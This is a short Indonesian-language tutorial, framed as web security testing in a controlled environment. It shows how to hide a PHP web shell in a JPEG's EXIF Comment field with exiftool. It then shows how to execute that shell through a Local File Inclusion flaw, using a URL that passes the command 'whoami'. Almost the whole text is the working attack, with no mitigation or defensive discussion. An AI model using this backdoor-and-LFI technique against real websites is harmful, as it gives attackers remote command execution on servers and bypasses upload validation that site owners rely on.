Steganografi untuk menyisipkan payload PHP dalam file gambar, digunakan untuk pengujian keamanan web di lingkungan terkontrol.
Sisipkan backdoor kedalam sebuah file gambar dengan Exiftool :
exiftool -Comment='<?php system($_GET["cmd"]); ?>' kucing.jpg -o shell.jpg
Eksekusi backdoor pada file gambar melalui celah Local File Inclusion (LFI). Meskipun terdapat validasi ekstensi dan MIME type, serangan tetap dimungkinkan karena adanya kerentanan LFI :
https://example.com/index.php?page=uploads/shell.jpg&cmd=whoami